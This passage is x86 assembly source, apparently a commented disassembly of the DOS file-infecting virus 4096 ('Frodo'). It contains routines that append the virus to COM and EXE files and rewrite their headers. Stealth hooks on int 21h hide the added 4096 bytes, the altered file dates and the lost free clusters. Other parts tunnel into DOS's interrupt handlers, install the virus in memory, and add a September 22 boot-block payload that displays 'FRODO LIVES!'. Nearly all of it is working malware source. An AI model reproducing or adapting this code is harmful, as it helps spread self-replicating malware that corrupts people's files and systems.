               mov     es:[bx+12h],ax
               mov     ax,word ptr ds:oldheader+0Eh ; alter stack
               add     ax,cx
               mov     es:[bx+10h],ax
               mov     ax,word ptr ds:oldheader+10h
               mov     es:[bx+0Eh],ax
perform_the_execute:
               call    getcurrentPSP
               mov     ds,cs:currentPSP
               mov     ax,[bp+2]               ; restore length as held in
               mov     word ptr ds:oldheader+6,ax
               mov     ax,[bp+4]               ; the EXE header
               mov     word ptr ds:oldheader+8,ax
exit_loadnoexecute:
               jmp     _popall_then_exitint21

getDOSversion:
               mov     byte ptr cs:hide_size,0
               mov     ah,2Ah                  ; Get date
               call    callint21
               cmp     dx,916h                 ; September 22?
               jb      exitDOSversion          ; leave if not
               call    writebootblock          ; this is broken
exitDOSversion:
               jmp     exitotherint21

infect_file:
               call    replaceint13and24
               call    findnextparagraphboundary
               mov     byte ptr ds:EXEflag,1   ; assume is an EXE file
               cmp     word ptr ds:readbuffer,'ZM' ; check here for regular
               je      clearlyisanEXE              ; EXE header
               cmp     word ptr ds:readbuffer,'MZ' ; check here for alternate
               je      clearlyisanEXE              ; EXE header
               dec     byte ptr ds:EXEflag         ; if neither, assume is a
               jz      try_infect_com              ; COM file
clearlyisanEXE:
               mov     ax,ds:lengthinpages     ; get file size in pages
               shl     cx,1                    ; and convert it to
               mul     cx                      ; bytes
               add     ax,200h                 ; add 512 bytes
               cmp     ax,si
               jb      go_exit_infect_file
               mov     ax,ds:minmemory         ; make sure min and max memory
               or      ax,ds:maxmemory         ; are not both zero
               jz      go_exit_infect_file
               mov     ax,ds:filesizelow       ; get filesize in dx:ax
               mov     dx,ds:filesizehigh
               mov     cx,200h                 ; convert to pages
               div     cx
               or      dx,dx                   ; filesize multiple of 512?
               jz      filesizemultiple512     ; then don't increment #
               inc     ax                      ; pages
filesizemultiple512:
               mov     ds:lengthinpages,ax     ; put in new values for length
               mov     ds:lengthMOD512,dx      ; fields
               cmp     word ptr ds:initialIP,1 ; check if already infected
               je      exit_infect_file
               mov     word ptr ds:initialIP,1 ; set new entry point
               mov     ax,si                   ; calculate new entry point
               sub     ax,ds:headersize        ; segment
               mov     ds:initialcs,ax         ; put this in for cs
               add     word ptr ds:lengthinpages,8 ; 4K more
               mov     ds:initialSS,ax         ; put entry segment in for SS
               mov     word ptr ds:initialSP,1000h ; set stack @ 1000h
               call    finish_infection
go_exit_infect_file:
               jmp     short exit_infect_file
try_infect_com:
               cmp     si,0F00h                ; make sure file is under
               jae     exit_infect_file        ; F00h paragraphs or else
                                               ; it will be too large once it
                                               ; is infected
               mov     ax,ds:readbuffer        ; first save first 6 bytes
               mov     word ptr ds:oldheader,ax
               add     dx,ax
               mov     ax,ds:readbuffer+2
               mov     word ptr ds:oldheader+2,ax
               add     dx,ax
               mov     ax,ds:readbuffer+4
               mov     word ptr ds:oldheader+4,ax
               add     dx,ax                   ; exit if checksum = 0
               jz      exit_infect_file        ; since then it is already
                                               ; infected
               mov     cl,0E9h                 ; encode jmp instruction
               mov     byte ptr ds:readbuffer,cl
               mov     ax,10h                  ; find file size
               mul     si
               add     ax,offset entervirus-3  ; calculate offset of jmp
               mov     word ptr ds:readbuffer+1,ax ; encode it
               mov     ax,ds:readbuffer        ; checksum it to 0
               add     ax,ds:readbuffer+2
               neg     ax
               mov     ds:readbuffer+4,ax
               call    finish_infection
exit_infect_file:
               mov     ah,3Eh                  ; Close file
               call    callint21
               call    restoreint13and24
               retn


findnextparagraphboundary:
               push    cs
               pop     ds
               mov     ax,5700h                ; Get file time/date
               call    callint21
               mov     ds:filetime,cx
               mov     ds:filedate,dx
               mov     ax,4200h                ; Go to beginning of file
               xor     cx,cx
               mov     dx,cx
               call    callint21
               mov     ah,3Fh                  ; Read first 1Ch bytes
               mov     cl,1Ch
               mov     dx,offset readbuffer
               call    callint21
               mov     ax,4200h                ; Go to beginning of file
               xor     cx,cx
               mov     dx,cx
               call    callint21
               mov     ah,3Fh                  ; Read first 1Ch bytes
               mov     cl,1Ch
               mov     dx,offset oldheader
               call    callint21
               mov     ax,4202h                ; Go to end of file
               xor     cx,cx
               mov     dx,cx
               call    callint21
               mov     ds:filesizelow,ax       ; save filesize
               mov     ds:filesizehigh,dx
               mov     di,ax
               add     ax,0Fh                  ; round to nearest paragraph
               adc     dx,0                    ; boundary
               and     ax,0FFF0h
               sub     di,ax                   ; di=# bytes to next paragraph
               mov     cx,10h                  ; normalize filesize
               div     cx                      ; to paragraphs
               mov     si,ax                   ; si = result
               retn


finish_infection:
               mov     ax,4200h                ; Go to beginning of file
               xor     cx,cx
               mov     dx,cx
               call    callint21
               mov     ah,40h                  ; Write new header to file
               mov     cl,1Ch
               mov     dx,offset readbuffer
               call    callint21
               mov     ax,10h                  ; convert paragraph boundary
               mul     si                      ; to a byte value
               mov     cx,dx
               mov     dx,ax
               mov     ax,4200h                ; go to first paragraph
               call    callint21               ; boundary at end of file
               xor     dx,dx
               mov     cx,1000h
               add     cx,di
               mov     ah,40h                  ; Concatenate virus to file
               call    callint21
               mov     ax,5701h                ; Restore file time/date
               mov     cx,ds:filetime
               mov     dx,ds:filedate
               test    dh,80h                  ; check for infection bit
               jnz     highbitset
               add     dh,0C8h                 ; alter if not set yet
highbitset:
               call    callint21
               cmp     byte ptr ds:DOSversion,3; if not DOS 3+, then
               jb      exit_finish_infection   ; do not hide the alteration
                                               ; in cluster count
               cmp     byte ptr ds:hideclustercountchange,0
               je      exit_finish_infection
               push    bx
               mov     dl,ds:filedrive
               mov     ah,32h                  ; Get drive parameter block
               call    callint21               ; for drive dl
               mov     ax,cs:numfreeclusters
               mov     [bx+1Eh],ax             ; alter free cluster count
               pop     bx
exit_finish_infection:
               retn


checkFCBokinfect:
               call    saveregs
               mov     di,dx
               add     di,0Dh                  ; skip to extension
               push    ds
               pop     es
               jmp     short performchecksum   ; and check checksum for valid
                                               ; checksum

checkdsdxokinfect:
               call    saveregs
               push    ds
               pop     es
               mov     di,dx
               mov     cx,50h                  ; max filespec length
               xor     ax,ax
               mov     bl,0                    ; default drive
               cmp     byte ptr [di+1],':'     ; Is there a drive spec?
               jne     ondefaultdrive          ; nope, skip it
               mov     bl,[di]                 ; yup, get drive
               and     bl,1Fh                  ; and convert to number
ondefaultdrive:
               mov     cs:filedrive,bl
               repne   scasb                   ; find terminating 0 byte
performchecksum:
               mov     ax,[di-3]
               and     ax,0DFDFh               ; convert to uppercase
               add     ah,al
               mov     al,[di-4]
               and     al,0DFh                 ; convert to uppercase
               add     al,ah
               mov     byte ptr cs:EXEflag,0   ; assume COM file
               cmp     al,0DFh                 ; COM checksum?
               je      COMchecksum
               inc     byte ptr cs:EXEflag     ; assume EXE file
               cmp     al,0E2h                 ; EXE checksum?
               jne     otherchecksum
COMchecksum:
               call    restoreregs
               clc                             ; mark no error
               retn
otherchecksum:
               call    restoreregs
               stc                             ; mark error
               retn


getcurrentPSP:
               push    bx
               mov     ah,51h                  ; Get current PSP segment
               call    callint21
               mov     cs:currentPSP,bx        ; store it
               pop     bx
               retn


setup_infection:
               call    replaceint13and24
               push    dx
               mov     dl,cs:filedrive
               mov     ah,36h                  ; Get disk free space
               call    callint21
               mul     cx                      ; ax = bytes per cluster
               mul     bx                      ; dx:ax = bytes free space
               mov     bx,dx
               pop     dx
               or      bx,bx                   ; less than 65536 bytes free?
               jnz     enough_free_space       ; hopefully not
               cmp     ax,4000h                ; exit if less than 16384
               jb      exit_setup_infection    ; bytes free
enough_free_space:
               mov     ax,4300h                ; Get file attributes
               call    callint21
               jc      exit_setup_infection    ; exit on error
               mov     di,cx                   ; di = attributes
               xor     cx,cx
               mov     ax,4301h                ; Clear file attributes
               call    callint21
               cmp     byte ptr cs:errorflag,0 ; check for errors
               jne     exit_setup_infection
               mov     ax,3D02h                ; Open file read/write
               call    callint21
               jc      exit_setup_infection    ; exit on error
               mov     bx,ax                   ; move handle to bx
                                               ; xchg bx,ax is superior
               mov     cx,di
               mov     ax,4301h                ; Restore file attributes
               call    callint21
               push    bx
               mov     dl,cs:filedrive         ; Get file's drive number
               mov     ah,32h                  ; Get drive parameter block
               call    callint21               ; for disk dl
               mov     ax,[bx+1Eh]             ; Get free cluster count
               mov     cs:numfreeclusters,ax   ; and save it
               pop     bx                      ; return handle
               call    restoreint13and24
               retn
exit_setup_infection:
               xor     bx,bx
               dec     bx                      ; return bx=-1 on error
               call    restoreint13and24
               retn


checkforinfection:
               push    cx
               push    dx
               push    ax
               mov     ax,4400h                ; Get device information
               call    callint21               ; (set hide_size = 2)
               xor     dl,80h
               test    dl,80h                  ; Character device?  If so,
               jz      exit_checkforinfection  ; exit; cannot be infected
               mov     ax,5700h                ; Otherwise get time/date
               call    callint21
               test    dh,80h                  ; Check year bit for infection
exit_checkforinfection:
               pop     ax
               pop     dx
               pop     cx
               retn

obtainfilesize:
               call    saveregs
               mov     ax,4201h                ; Get current file position
               xor     cx,cx
               xor     dx,dx
               call    callint21
               mov     cs:curfileposlow,ax
               mov     cs:curfileposhigh,dx
               mov     ax,4202h                ; Go to end of file
               xor     cx,cx
               xor     dx,dx
               call    callint21
               mov     cs:filesizelow,ax
               mov     cs:filesizehigh,dx
               mov     ax,4200h                ; Return to file position
               mov     dx,cs:curfileposlow
               mov     cx,cs:curfileposhigh
               call    callint21
               call    restoreregs
               retn

getsetfiletimedate:
               or      al,al                   ; Get time/date?
               jnz     checkifsettimedate      ; if not, see if Set time/date
               and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
               call    _popall
               call    callint21
               jc      gettimedate_error       ; exit on error
               test    dh,80h                  ; check year bit if infected
               jz      gettimedate_notinfected
               sub     dh,0C8h                 ; if so, hide change
gettimedate_notinfected:
               jmp     exitint21
gettimedate_error:
               or      word ptr cs:int21flags,1; turn on trap flag
               jmp     exitint21
checkifsettimedate:
               cmp     al,1                    ; Set time/date?
               jne     exit_filetimedate_pointer
               and     word ptr cs:int21flags,0FFFEh ; turn off trap flag
               test    dh,80h                  ; Infection bit set?
               jz      set_yearbitset
               sub     dh,0C8h                 ; clear infection bit
set_yearbitset:
               call    checkforinfection
               jz      set_datetime_nofinagle
               add     dh,0C8h                 ; set infection flag
set_datetime_nofinagle:
               call    callint21
               mov     [bp-4],ax
               adc     word ptr cs:int21flags,0; turn on/off trap flag
               jmp     _popall_then_exitint21  ; depending on result

handlemovefilepointer:
               cmp     al,2
               jne     exit_filetimedate_pointer
               call    checkforinfection
               jz      exit_filetimedate_pointer
               sub     word ptr [bp-0Ah],1000h ; hide file size
               sbb     word ptr [bp-8],0
exit_filetimedate_pointer:
               jmp     exitotherint21

handleread:
               and     byte ptr cs:int21flags,0FEh ; clear trap flag
               call    checkforinfection           ; exit if it is not
               jz      exit_filetimedate_pointer   ; infected -- no need
                                                   ; to do stealthy stuff
               mov     cs:savelength,cx
               mov     cs:savebuffer,dx
               mov     word ptr cs:return_code,0
               call    obtainfilesize
               mov     ax,cs:filesizelow       ; store the file size
               mov     dx,cs:filesizehigh
               sub     ax,1000h                ; get uninfected file size
               sbb     dx,0
               sub     ax,cs:curfileposlow     ; check if currently in
               sbb     dx,cs:curfileposhigh    ; virus code
               jns     not_in_virus_body       ; continue if not
               mov     word ptr [bp-4],0       ; set return code = 0
               jmp     handleopenclose_exit
not_in_virus_body:
               jnz     not_reading_header
               cmp     ax,cx                   ; reading from header?
               ja      not_reading_header
               mov     cs:savelength,ax        ; # bytes into header
not_reading_header:
               mov     dx,cs:curfileposlow
               mov     cx,cs:curfileposhigh
               or      cx,cx                   ; if reading > 64K into file,
               jnz     finish_reading          ; then no problems
               cmp     dx,1Ch                  ; if reading from header, then
               jbe     reading_from_header     ; do stealthy stuff
finish_reading:
               mov     dx,cs:savebuffer
               mov     cx,cs:savelength
               mov     ah,3Fh                  ; read file
               call    callint21
               add     ax,cs:return_code       ; ax = bytes read
               mov     [bp-4],ax               ; set return code properly
               jmp     _popall_then_exitint21
reading_from_header:
               mov     si,dx
               mov     di,dx
               add     di,cs:savelength
               cmp     di,1Ch                  ; reading all of header?
               jb      read_part_of_header     ; nope, calculate how much
               xor     di,di
               jmp     short do_read_from_header
read_part_of_header:
               sub     di,1Ch
               neg     di
do_read_from_header:
               mov     ax,dx
               mov     cx,cs:filesizehigh      ; calculate location in
               mov     dx,cs:filesizelow       ; the file of the virus
               add     dx,0Fh                  ; storage area for the
               adc     cx,0                    ; original 1Ch bytes of
               and     dx,0FFF0h               ; the file
               sub     dx,0FFCh
               sbb     cx,0
               add     dx,ax
               adc     cx,0
               mov     ax,4200h                ; go to that location
               call    callint21
               mov     cx,1Ch
               sub     cx,di
               sub     cx,si
               mov     ah,3Fh                  ; read the original header
               mov     dx,cs:savebuffer
               call    callint21
               add     cs:savebuffer,ax
               sub     cs:savelength,ax
               add     cs:return_code,ax
               xor     cx,cx                   ; go past the virus's header
               mov     dx,1Ch
               mov     ax,4200h
               call    callint21
               jmp     finish_reading          ; and continue the reading

handlewrite:
               and     byte ptr cs:int21flags,0FEh ; turn off trap flag
               call    checkforinfection
               jnz     continue_handlewrite
               jmp     exit_filetimedate_pointer
continue_handlewrite:
               mov     cs:savelength,cx
               mov     cs:savebuffer,dx
               mov     word ptr cs:return_code,0
               call    obtainfilesize
               mov     ax,cs:filesizelow
               mov     dx,cs:filesizehigh
               sub     ax,1000h                ; calculate original file
               sbb     dx,0                    ; size
               sub     ax,cs:curfileposlow     ; writing from inside the
               sbb     dx,cs:curfileposhigh    ; virus?
               js      finish_write            ; if not, we can continue
               jmp     short write_inside_virus; otherwise, fixup some stuff
finish_write:
               call    replaceint13and24
               push    cs
               pop     ds
               mov     dx,ds:filesizelow       ; calculate location in file
               mov     cx,ds:filesizehigh      ; of the virus storage of the
               add     dx,0Fh                  ; original 1Ch bytes of the
               adc     cx,0                    ; file
               and     dx,0FFF0h
               sub     dx,0FFCh
               sbb     cx,0
               mov     ax,4200h
               call    callint21
               mov     dx,offset oldheader
               mov     cx,1Ch
               mov     ah,3Fh                  ; read original header
               call    callint21
               mov     ax,4200h                ; go to beginning of file
               xor     cx,cx
               mov     dx,cx
               call    callint21
               mov     dx,offset oldheader
               mov     cx,1Ch
               mov     ah,40h                  ; write original header to
               call    callint21               ; the file
               mov     dx,0F000h               ; go back 4096 bytes
               mov     cx,0FFFFh               ; from the end of the
               mov     ax,4202h                ; file and
               call    callint21
               mov     ah,40h                  ; truncate the file
               xor     cx,cx                   ; at that position
               call    callint21
               mov     dx,ds:curfileposlow     ; Go to current file position
               mov     cx,ds:curfileposhigh
               mov     ax,4200h
               call    callint21
               mov     ax,5700h                ; Get file time/date
               call    callint21
               test    dh,80h
               jz      high_bit_aint_set
               sub     dh,0C8h                 ; restore file date
               mov     ax,5701h                ; put it onto the disk
               call    callint21
high_bit_aint_set:
               call    restoreint13and24
               jmp     exitotherint21
write_inside_virus:
               jnz     write_inside_header     ; write from start of file?
               cmp     ax,cx
               ja      write_inside_header     ; write from inside header?
               jmp     finish_write

write_inside_header:
               mov     dx,cs:curfileposlow
               mov     cx,cs:curfileposhigh
               or      cx,cx                   ; Reading over 64K?
               jnz     writemorethan1Chbytes
               cmp     dx,1Ch                  ; Reading over 1Ch bytes?
               ja      writemorethan1Chbytes
               jmp     finish_write
writemorethan1Chbytes:
               call    _popall
               call    callint21               ; chain to int 21h
                                               ; (allow write to take place)
               call    _pushall
               mov     ax,5700h                ; Get file time/date
               call    callint21
               test    dh,80h
               jnz     _popall_then_exitint21_
               add     dh,0C8h
               mov     ax,5701h                ; restore file date
               call    callint21
_popall_then_exitint21_:
               jmp     _popall_then_exitint21

               jmp     exitotherint21

int13:
               pop     word ptr cs:int13tempCSIP ; get calling CS:IP off
               pop     word ptr cs:int13tempCSIP+2 ; the stack
               pop     word ptr cs:int13flags
               and     word ptr cs:int13flags,0FFFEh ; turn off trap flag
               cmp     byte ptr cs:errorflag,0 ; any errors yet?
               jne     exitint13error          ; yes, already an error
               push    word ptr cs:int13flags
               call    dword ptr cs:origints
               jnc     exitint13
               inc     byte ptr cs:errorflag   ; mark error
exitint13error:
               stc                             ; mark error
exitint13:
               jmp     dword ptr cs:int13tempCSIP ; return to caller

int24:
               xor     al,al                   ; ignore error
               mov     byte ptr cs:errorflag,1 ; mark error
               iret

replaceint13and24:
               mov     byte ptr cs:errorflag,0 ; clear errors
               call    saveregs
               push    cs
               pop     ds
               mov     al,13h                  ; save int 13 handler
               call    getint
               mov     word ptr ds:origints,bx
               mov     word ptr ds:origints+2,es
               mov     word ptr ds:oldint13,bx
               mov     word ptr ds:oldint13+2,es
               mov     dl,0
               mov     al,0Dh                  ; fixed disk interrupt
               call    getint
               mov     ax,es
               cmp     ax,0C000h               ; is there a hard disk?
               jae     harddiskpresent         ; C000+ is in BIOS
               mov     dl,2
harddiskpresent:
               mov     al,0Eh                  ; floppy disk interrupt
               call    getint
               mov     ax,es
               cmp     ax,0C000h               ; check if floppy
               jae     floppypresent
               mov     dl,2
floppypresent:
               mov     ds:tracemode,dl
               call    replaceint1
               mov     ds:savess,ss            ; save stack
               mov     ds:savesp,sp
               push    cs                      ; save these on stack for
               mov     ax,offset setvirusints  ; return to setvirusints
               push    ax
               mov     ax,70h
               mov     es,ax
               mov     cx,0FFFFh
               mov     al,0CBh                 ; retf
               xor     di,di
               repne   scasb                   ;scan es:di for retf statement
               dec     di                      ; es:di->retf statement
               pushf
               push    es                      ; set up stack for iret to
               push    di                      ; the retf statement which
                                               ; will cause transfer of
                                               ; control to setvirusints
               pushf
               pop     ax
               or      ah,1                    ; turn on the trap flag
               push    ax
               in      al,21h                  ; save IMR in temporary
               mov     ds:saveIMR,al           ; buffer and then
               mov     al,0FFh                 ; disable all the
               out     21h,al                  ; interrupts
               popf
               xor     ax,ax                   ; reset disk
               jmp     dword ptr ds:origints   ; (int 13h call)
                                               ; then transfer control to
setvirusints:                                   ; setvirusints
               lds     dx,dword ptr ds:oldint1
               mov     al,1                    ; restore old int 1 handler
               call    setvect
               push    cs
               pop     ds
               mov     dx,offset int13         ; replace old int 13h handler
               mov     al,13h                  ; with virus's
               call    setvect
               mov     al,24h                  ; Get old critical error
               call    getint                  ; handler and save its
               mov     word ptr ds:oldint24,bx ; location
               mov     word ptr ds:oldint24+2,es
               mov     dx,offset int24
               mov     al,24h                  ; Replace int 24 handler
               call    setvect                 ; with virus's handler
               call    restoreregs
               retn


restoreint13and24:
               call    saveregs
               lds     dx,dword ptr cs:oldint13
               mov     al,13h
               call    setvect
               lds     dx,dword ptr cs:oldint24
               mov     al,24h
               call    setvect
               call    restoreregs
               retn


disableBREAK:
               mov     ax,3300h                ; Get current BREAK setting
               call    callint21
               mov     cs:BREAKsave,dl
               mov     ax,3301h                ; Turn BREAK off
               xor     dl,dl
               call    callint21
               retn


restoreBREAK:
               mov     dl,cs:BREAKsave
               mov     ax,3301h                ; restore BREAK setting
               call    callint21
               retn


_pushall:
               pop     word ptr cs:pushpopalltempstore
               pushf
               push    ax
               push    bx
               push    cx
               push    dx
               push    si
               push    di
               push    ds
               push    es
               jmp     word ptr cs:pushpopalltempstore

swapvirint21:
               les     di,dword ptr cs:oldint21; delve into original int
               mov     si,offset jmpfarptr     ; handler and swap the first
               push    cs                      ; 5 bytes.  This toggles it
               pop     ds                      ; between a jmp to the virus
               cld                             ; code and the original 5
               mov     cx,5                    ; bytes of the int handler
swapvirint21loop:                               ; this is a tunnelling method
               lodsb                           ; if I ever saw one
               xchg    al,es:[di]              ; puts the bytes in DOS's
               mov     [si-1],al               ; int 21h handler
               inc     di
               loop    swapvirint21loop

               retn


_popall:
               pop     word ptr cs:pushpopalltempstore
               pop     es
               pop     ds
               pop     di
               pop     si
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               popf
               jmp     word ptr cs:pushpopalltempstore

restoreregs:
               mov     word ptr cs:storecall,offset _popall
               jmp     short do_saverestoreregs

saveregs:
               mov     word ptr cs:storecall,offset _pushall
do_saverestoreregs:
               mov     cs:storess,ss           ; save stack
               mov     cs:storesp,sp
               push    cs
               pop     ss
               mov     sp,cs:stackptr          ; set new stack
               call    word ptr cs:storecall
               mov     cs:stackptr,sp          ; update internal stack ptr
               mov     ss,cs:storess           ; and restore stack to
               mov     sp,cs:storesp           ; caller program's stack
               retn


replaceint1:
               mov     al,1                    ; get the old interrupt
               call    getint                  ; 1 handler and save it
               mov     word ptr cs:oldint1,bx  ; for later restoration
               mov     word ptr cs:oldint1+2,es
               push    cs
               pop     ds
               mov     dx,offset int1          ; set int 1 handler to
               call    setvect                 ; the virus int handler
               retn

allocatememory:
               call    allocate_memory
               jmp     exitotherint21

allocate_memory:
               cmp     byte ptr cs:checkres,0  ; installed check
               je      exitallocate_memory     ; exit if installed
               cmp     bx,0FFFFh               ; finding total memory?
               jne     exitallocate_memory     ; (virus trying to install?)
               mov     bx,160h                 ; allocate memory to virus
               call    callint21
               jc      exitallocate_memory     ; exit on error
               mov     dx,cs
               cmp     ax,dx
               jb      continue_allocate_memory
               mov     es,ax
               mov     ah,49h                  ; Free memory
               call    callint21
               jmp     short exitallocate_memory
continue_allocate_memory:
               dec     dx                      ; get segment of MCB
               mov     ds,dx
               mov     word ptr ds:[1],0       ; mark unused MCB
               inc     dx                      ; go to memory area
               mov     ds,dx
               mov     es,ax
               push    ax
               mov     word ptr cs:int21store+2,ax ; fixup segment
               xor     si,si
               mov     di,si
               mov     cx,0B00h
               rep     movsw                   ; copy virus up there
               dec     ax                      ; go to MCB
               mov     es,ax
               mov     ax,cs:ownerfirstMCB     ; get DOS PSP ID
               mov     es:[1],ax               ; make vir ID = DOS PSP ID
               mov     ax,offset exitallocate_memory
               push    ax
               retf

exitallocate_memory:
               retn

get_device_info:
               mov     byte ptr cs:hide_size,2
               jmp     exitotherint21

callint21: ; call original int 21h handler (tunnelled)
               pushf
               call    dword ptr cs:oldint21
               retn

bootblock:
               cli
               xor     ax,ax                   ; set new stack just below
               mov     ss,ax                   ; start of load area for
               mov     sp,7C00h                ; boot block
               jmp     short enter_bootblock
borderchars     db      '��� '

FRODO_LIVES: ; bitmapped 'FRODO LIVES!'
               db      11111001b,11100000b,11100011b,11000011b,10000000b
               db      10000001b,00010001b,00010010b,00100100b,01000000b
               db      10000001b,00010001b,00010010b,00100100b,01000000b
               db      11110001b,11110001b,00010010b,00100100b,01000000b
               db      10000001b,00100001b,00010010b,00100100b,01000000b
               db      10000001b,00010000b,11100011b,11000011b,10000000b
               db      00000000b,00000000b,00000000b,00000000b,00000000b
               db      00000000b,00000000b,00000000b,00000000b,00000000b
               db      10000010b,01000100b,11111000b,01110000b,11000000b
               db      10000010b,01000100b,10000000b,10001000b,11000000b
               db      10000010b,01000100b,10000000b,10000000b,11000000b
               db      10000010b,01000100b,11110000b,01110000b,11000000b
               db      10000010b,00101000b,10000000b,00001000b,11000000b
               db      10000010b,00101000b,10000000b,10001000b,00000000b
               db      11110010b,00010000b,11111000b,01110000b,11000000b
enter_bootblock:
               push    cs
               pop     ds
               mov     dx,0B000h               ; get video page in bh
               mov     ah,0Fh                  ; get video mode in al
               int     10h                     ; get columns in ah

               cmp     al,7                    ; check if colour
               je      monochrome
               mov     dx,0B800h               ; colour segment
monochrome:
               mov     es,dx                   ; es->video segment
               cld
               xor     di,di
               mov     cx,25*80                ; entire screen
               mov     ax,720h                 ; ' ', normal attribute
               rep     stosw                   ; clear the screen
               mov     si,7C00h+FRODO_LIVES-bootblock
               mov     bx,2AEh
morelinestodisplay:
               mov     bp,5
               mov     di,bx
displaymorebackgroundontheline:
               lodsb                           ; get background pattern
               mov     dh,al
               mov     cx,8

displayinitialbackground:
               mov     ax,720h
               shl     dx,1
               jnc     spacechar
               mov     al,'�'
spacechar:
               stosw
               loop    displayinitialbackground

               dec     bp
               jnz     displaymorebackgroundontheline
               add     bx,80*2                 ; go to next line
               cmp     si,7C00h+enter_bootblock-bootblock
               jb      morelinestodisplay
               mov     ah,1                    ; set cursor mode to cx
               int     10h

               mov     al,8                    ; set new int 8 handler
               mov     dx,7C00h+int8-bootblock ; to spin border
               call    setvect
               mov     ax,7FEh                 ; enable timer interrupts only
               out     21h,al

               sti
               xor     bx,bx
               mov     cx,1
               jmp     short $                 ; loop forever while
                                               ; spinning the border

int8:                                           ; the timer interrupt spins
               dec     cx                      ; the border
               jnz     endint8
               xor     di,di
               inc     bx
               call    spin_border
               call    spin_border
               mov     cl,4                    ; wait 4 more ticks until
endint8:                                        ; next update
               mov     al,20h                  ; Signal end of interrupt
               out     20h,al
               iret

spin_border:
               mov     cx,28h                  ; do 40 characters across

dohorizontal:
               call    lookup_border_char
               stosw
               stosw
               loop    dohorizontal
patch2:
               add     di,9Eh                  ; go to next line
               mov     cx,17h                  ; do for next 23 lines

dovertical:                                     ; handle vertical borders
               call    lookup_border_char      ; get border character
               stosw                           ; print it on screen
patch3:
               add     di,9Eh                  ; go to next line
               loop    dovertical
patch1:
               std
       ; this code handles the other half of the border
               xor     byte ptr ds:[7C00h+patch1-bootblock],1 ; flip std,cld
               xor     byte ptr ds:[7C00h+patch2-bootblock+1],28h
               xor     byte ptr ds:[7C00h+patch3-bootblock+1],28h
               retn


lookup_border_char:
               and     bx,3                    ; find corresponding border
               mov     al,ds:[bx+7C00h+borderchars-bootblock]
               inc     bx                      ; character
               retn


setvect:
               push    es
               push    bx
               xor     bx,bx
               mov     es,bx
               mov     bl,al                   ; int # to bx
               shl     bx,1                    ; int # * 4 = offset in
               shl     bx,1                    ; interrupt table
               mov     es:[bx],dx              ; set the vector in the
               mov     es:[bx+2],ds            ; interrupt table
               pop     bx
               pop     es
               retn


writebootblock: ; this is an unfinished subroutine; it doesn't work properly
               call    replaceint13and24
               mov     dl,80h
               db      0E8h, 08h, 00h, 32h,0D2h,0E8h
               db       03h, 01h, 00h, 9Ah, 0Eh, 32h
               db       08h, 70h, 00h, 33h, 0Eh, 2Eh
               db       03h, 6Ch, 15h, 03h, 00h, 26h
               db       00h, 00h, 00h, 21h, 00h, 50h
               db       12h, 65h, 14h, 82h, 08h, 00h
               db       0Ch, 9Ah, 0Eh, 56h, 07h, 70h
               db       00h, 33h, 0Eh, 2Eh, 03h, 6Ch
               db       15h,0E2h, 0Ch, 1Eh, 93h, 00h
               db       00h,0E2h, 0Ch, 50h

               org 1200h
readbuffer      dw      ? ; beginning of the read buffer
lengthMOD512    dw      ? ; EXE header item - length of image modulo 512
lengthinpages   dw      ? ; EXE header item - length of image in pages
relocationitems dw      ? ; EXE header item - # relocation items
headersize      dw      ? ; EXE header item - header size in paragraphs
minmemory       dw      ? ; EXE header item - minimum memory allocation
maxmemory       dw      ? ; EXE header item - maximum memory allocation
initialSS       dw      ? ; EXE header item - initial SS value
initialSP       dw      ? ; EXE header item - initial SP value
wordchecksum    dw      ? ; EXE header item - checksum value
initialIP       dw      ? ; EXE header item - initial IP value
initialCS       dw      ? ; EXE header item - initial CS value
               db      12 dup (?) ; rest of header - unused
parmblock       dd      ? ; address of parameter block
filedrive       db      ? ; 0 = default drive
filetime        dw      ? ; saved file time
filedate        dw      ? ; saved file date
origints        dd      ? ; temporary scratch buffer for interrupt vectors
oldint1         dd      ? ; original interrupt 1 vector
oldint21        dd      ? ; original interrupt 21h vector
oldint13        dd      ? ; original interrupt 13h vector
oldint24        dd      ? ; original interrupt 24h vector
int13tempCSIP   dd      ? ; stores calling CS:IP of int 13h
carrierPSP      dw      ? ; carrier file PSP segment
DOSsegment      dw      ? ; segment of DOS list of lists
ownerfirstMCB   dw      ? ; owner of the first MCB
jmpfarptr       db      ? ; 0eah, jmp far ptr
int21store      dd      ? ; temporary storage for other 4 bytes
                         ; and for pointer to virus int 21h
tracemode       db      ? ; trace mode
instructionstotrace  db ? ; number of instructions to trace
handletable     dw      28h dup (?) ; array of handles
handlesleft     db      ? ; entries left in table
currentPSP      dw      ? ; storage for the current PSP segment
curfileposlow   dw      ? ; current file pointer location, low word
curfileposhigh  dw      ? ; current file pointer location, high word
filesizelow     dw      ? ; current file size, low word
filesizehigh    dw      ? ; current file size, high word
savebuffer      dw      ? ; storage for handle read, etc.
savelength      dw      ? ; functions
return_code     dw      ? ; returned in AX on exit of int 21h
int21flags      dw      ? ; storage of int 21h return flags register
tempFCB         db      25h dup (?) ; copy of the FCB
errorflag       db      ? ; 0 if no error, 1 if error
int13flags      dw      ? ; storage of int 13h return flags register
savess          dw      ? ; temporary storage of stack segment
savesp          dw      ? ; and stack pointer
BREAKsave       db      ? ; current BREAK state
checkres        db      ? ; already installed flag
initialax       dw      ? ; AX upon entry to carrier
saveIMR         db      ? ; storage for interrupt mask register
saveoffset      dw      ? ; temp storage of CS:IP of
savesegment     dw      ? ; caller to int 21h
pushpopalltempstore  dw ? ; push/popall caller address
numfreeclusters dw      ? ; total free clusters
DOSversion      db      ? ; current DOS version
hideclustercountchange db ? ; flag of whether to hide free cluster count
hide_size       db      ? ; hide filesize increase if equal to 0
copyparmblock   db      0eh dup (?) ; copy of the parameter block
origsp          dw      ? ; temporary storage of stack pointer
origss          dw      ? ; and stack segment
origcsip        dd      ? ; temporary storage of caller CS:IP
copyfilename    db      50h dup (?) ; copy of filename
storesp         dw      ? ; temporary storage of stack pointer
storess         dw      ? ; and stack segment
stackptr        dw      ? ; register storage stack pointer
storecall       dw      ? ; temporary storage of function offset

topstack = 1600h

_4096           ends
               end